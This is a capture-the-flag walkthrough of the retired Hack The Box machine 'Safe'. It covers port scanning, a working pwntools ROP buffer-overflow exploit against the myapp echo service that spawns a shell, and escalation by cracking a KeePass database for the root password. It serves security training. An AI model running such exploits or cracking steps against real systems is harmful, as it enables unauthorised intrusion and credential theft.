This post documents the complete walkthrough of Safe, a retired vulnerable VM created by ecdo, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

On this post

Background

Safe is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

# masscan -e tun0 -p1-65535,U:1-65535 10.10.10.147 --rate=1000 Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2019-07-28 11:21:20 GMT -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth Initiating SYN Stealth Scan Scanning 1 hosts [131070 ports/host] Discovered open port 80/tcp on 10.10.10.147 Discovered open port 1337/tcp on 10.10.10.147 Discovered open port 22/tcp on 10.10.10.147

Hmm. masscan finds three open ports. 1337/tcp sure looks interesting. Let’s do one better with nmap scanning the discovered ports to establish their services.

# nmap -n -v -Pn -p22,80,1337 -A --reason -oN nmap.txt 10.10.10.147 ... PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 63 OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0) | ssh-hostkey: | 2048 6d:7c:81:3d:6a:3d:f9:5f:2e:1f:6a:97:e5:00:ba:de (RSA) | 256 99:7e:1e:22:76:72:da:3c:c9:61:7d:74:d7:80:33:d2 (ECDSA) |_ 256 6a:6b:c3:8e:4b:28:f7:60:85:b1:62:ff:54:bc:d8:d6 (ED25519) 80/tcp open http syn-ack ttl 63 Apache httpd 2.4.25 ((Debian)) | http-methods: |_ Supported Methods: OPTIONS HEAD GET POST |_http-server-header: Apache/2.4.25 (Debian) |_http-title: Apache2 Debian Default Page: It works 1337/tcp open waste? syn-ack ttl 63 | fingerprint-strings: | DNSStatusRequestTCP: | 05:26:35 up 1:47, 1 user, load average: 0.13, 0.04, 0.01 | DNSVersionBindReqTCP: | 05:26:30 up 1:47, 1 user, load average: 0.14, 0.04, 0.01 | GenericLines: | 05:26:17 up 1:47, 1 user, load average: 0.07, 0.03, 0.01 | What do you want me to echo back? | GetRequest: | 05:26:23 up 1:47, 1 user, load average: 0.07, 0.03, 0.01 | What do you want me to echo back? GET / HTTP/1.0 | HTTPOptions: | 05:26:24 up 1:47, 1 user, load average: 0.06, 0.03, 0.01 | What do you want me to echo back? OPTIONS / HTTP/1.0 | Help: | 05:26:41 up 1:47, 1 user, load average: 0.12, 0.04, 0.01 | What do you want me to echo back? HELP | Kerberos, TLSSessionReq: | 05:26:42 up 1:47, 1 user, load average: 0.12, 0.04, 0.01 | What do you want me to echo back? | NULL: | 05:26:17 up 1:47, 1 user, load average: 0.07, 0.03, 0.01 | RPCCheck: | 05:26:25 up 1:47, 1 user, load average: 0.06, 0.03, 0.01 | RTSPRequest: | 05:26:24 up 1:47, 1 user, load average: 0.06, 0.03, 0.01 | What do you want me to echo back? OPTIONS / RTSP/1.0 | SSLSessionReq: | 05:26:41 up 1:47, 1 user, load average: 0.12, 0.04, 0.01 |_ What do you want me to echo back?

1337/tcp sure looks like some kind of echo service. Well, I’m going to check out the http service first. And, this is how it looks like.

Nothing really exciting with the default Apache page or is that so? Check out the HTML source.

I smell remote code execution (RCE) in myapp .

Vulnerability Anlysis of myapp

myapp is indeed at http://10.10.10.147/myapp .

# wget http://10.10.10.147/myapp # file myapp myapp: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=fcbd5450d23673e92c8b716200762ca7d282c73a, not stripped

Looks like someone has submitted the file to VirusTotal for a quick look.

On top of that, someone has also submitted to ropshell.com for ROP gadgets.

A quick checksec in PEDA shows that NX is enabled (non-executable stack).

If I have to guess, I would say this is a simple ROP exploit. Don’t take my word for it. Look at the main() function of myapp .

Exploit Development

Long story short, the offset to control the return address is 120 bytes. Here’s how to do it.

Get PEDA if you have not already done so. Generate a 200-byte pattern. gdb-peda# pattern_create 200 buf . set follow-fork-mode parent because of system() forks. Break at *main+77 . This is the last instruction before RIP pops the return address. run with the pattern or r < buf . continue or c with the execution.

You should see something like this.

Use pattern_offset to determine the offset.

Armed with that knowledge, you can write a ROP exploit with pwntools like so.

exploit.py

from pwn import * context ( terminal = [ "tmux" , "new-windows" ]) context ( os = "linux" , arch = "amd64" ) myapp = ELF ( "./myapp" ) p = remote ( "10.10.10.147" , 1337 ) bss = myapp . bss () junk = 'A' * 120 # Show me the shell rop = ROP ( myapp ) rop . gets ( bss ) rop . system ( bss ) payload = junk + str ( rop ) + "/bin/bash

" + "bash

" p . send ( payload ) p . interactive ()

I’ve chosen to write the string “/bin/bash” at .bss because its address doesn’t change.

Low-Privilege Shell

Let’s give it a go.

Sweet. The user.txt is at user ’s home directory.

Privilege Escalation

During enumeration of user ’s account, I noticed the presence of a KeePass database and five image files in the home directory as well.

This feels strangely familiar to BigHead. Well, in any case, let’s grab these files to my attacking machine but note that there’s no nc in this machine. We’ll just have to transfer our nc over.

We can transfer the files now. And just like BigHead, one of the image files is the key file. We just need to crack the master password.

The master password is bullshit . Yeah.

…

Armed with the master password and the key file, we can open the KeePass database.

Simply copy the root password to the clipboard and we are done.